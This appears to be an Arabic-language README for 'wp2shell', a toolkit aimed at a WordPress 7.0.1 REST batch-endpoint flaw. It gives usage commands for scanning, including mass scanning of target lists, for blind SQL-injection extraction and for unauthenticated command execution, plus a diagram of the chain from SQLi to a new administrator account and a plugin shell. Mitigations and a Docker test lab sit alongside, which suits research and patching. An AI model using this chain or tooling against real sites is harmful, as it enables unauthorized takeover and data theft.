wp2shell/
├── README.md                          ← هذا الملف
│
├── wp2shell-exploit/                  ← أدوات الاستغلال
│   ├── exploit.py                     # استغلال RCE كامل بدون مصادقة (لا حاجة لكسر كلمة المرور)
│   ├── exploit_hash.py                # استخراج التجزئة + RCE بعد المصادقة
│   ├── detect.py                      # ماسح ثغرات غير تخريبي
│   └── README.md
│
├── wp2shell-patch/                    ← المعالجة
│   ├── patch.sh                       # تصحيح شفرة المصدر (يعكس الإصلاح الرسمي)
│   ├── wp2shell-shield.php            # إضافة إسقاطية (mu-plugin) (نشر في 30 ثانية)
│   ├── block-batch.conf               # تخفيف Nginx
│   ├── block-batch.htaccess           # تخفيف Apache
│   └── README.md
│
├── docker-compose.yml                 # بيئة اختبار ضعيفة (WP 7.0.1)
└── Dockerfile.debug                   # صورة مفعلة بـ XDebug للبحث

cd wp2shell-exploit

# هدف واحد
python3 detect.py https://target.example

# مع تأكيد توقيت حقن SQL
python3 detect.py https://target.example --confirm-sqli

# مسح دفعة من ملف
python3 detect.py targets.txt -q

# استغلال RCE كامل بدون مصادقة (موصى به — لا حاجة لكسر كلمة المرور)
python3 exploit.py https://target.example -c "id"

# مجرد استخراج بيانات عبر SQLi أعمى
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"

# بديل: استخراج تجزئة + كسر + RCE بعد المصادقة
python3 exploit_hash.py https://target.example
# ثم بعد الكسر:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"

cd wp2shell-patch

# الخيار 1: إضافة إسقاطية (الأسرع، لا حاجة لإعادة التشغيل)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/

# الخيار 2: حظر خادم الويب
# Nginx: أضف block-batch.conf في كتلة الخادم
# Apache: أضف block-batch.htaccess في بداية .htaccess

# الخيار 3: تصحيح شفرة المصدر (إصلاح كامل)
sudo bash patch.sh /path/to/wordpress

# الخيار الأفضل: فقط حدّث ووردبريس
wp core update  # أو لوحة التحكم ← التحديثات

                    ┌─────────────────────────────┐
                    │  Anonymous HTTP Request      │
                    │  POST /?rest_route=/batch/v1 │
                    └──────────────┬──────────────┘
                                   │
                    ┌──────────────▼──────────────┐
                    │  Batch Desync (outer)        │
                    │  Malformed path → WP_Error   │
                    │  $matches[] array shifts     │
                    └──────────────┬──────────────┘
                                   │
                    ┌──────────────▼──────────────┐
                    │  Steal /batch/v1 handler     │
                    │  (no permission_callback!)   │
                    │  → nested batch executes     │
                    └──────────────┬──────────────┘
                                   │
                    ┌──────────────▼──────────────┐
                    │  Batch Desync (inner)        │
                    │  GET methods now allowed     │
                    │  author_exclude unsanitized  │
                    └──────────────┬──────────────┘
                                   │
              ┌────────────────────┼────────────────────┐
              │                    │                    │
   ┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
   │ Phase 1: oEmbed     │ │ Phase 2:    │ │ Phase 3: Escalation │
   │ UNION SELECT fake   │ │ Blind SQLi  │ │ Cache poison +      │
   │ post with [embed]   │ │ extract IDs │ │ Changeset publish   │
   │ → WP creates cache  │ │ + admin ID  │ │ → wp_set_current_   │
   │ posts (write prim.) │ │             │ │   user(admin)       │
   └─────────────────────┘ └─────────────┘ └──────────┬──────────┘
                                                       │
                                        ┌──────────────▼──────────────┐
                                        │  Re-entrancy                │
                                        │  parse_request triggers     │
                                        │  serve_request() re-entry   │
                                        │  → now running as admin!    │
                                        └──────────────┬──────────────┘
                                                       │
                                        ┌──────────────▼──────────────┐
                                        │  POST /wp/v2/users          │
                                        │  Creates new administrator  │
                                        │  → Login → Plugin → Shell   │
                                        └─────────────────────────────┘

# تشغيل ووردبريس 7.0.1 الضعيف
docker compose up -d
# انتظر حتى تهيئة MySQL، ثم ثبّت
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode "weblog_title=Test" \
  --data-urlencode "user_name=admin" \
  --data-urlencode "admin_password=TestPassword123" \
  --data-urlencode "admin_password2=TestPassword123" \
  --data-urlencode "[email protected]" \
  --data-urlencode "blog_public=0" \
  --data-urlencode "Submit=Install WordPress"

# استغلال
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"

# تنظيف
docker compose down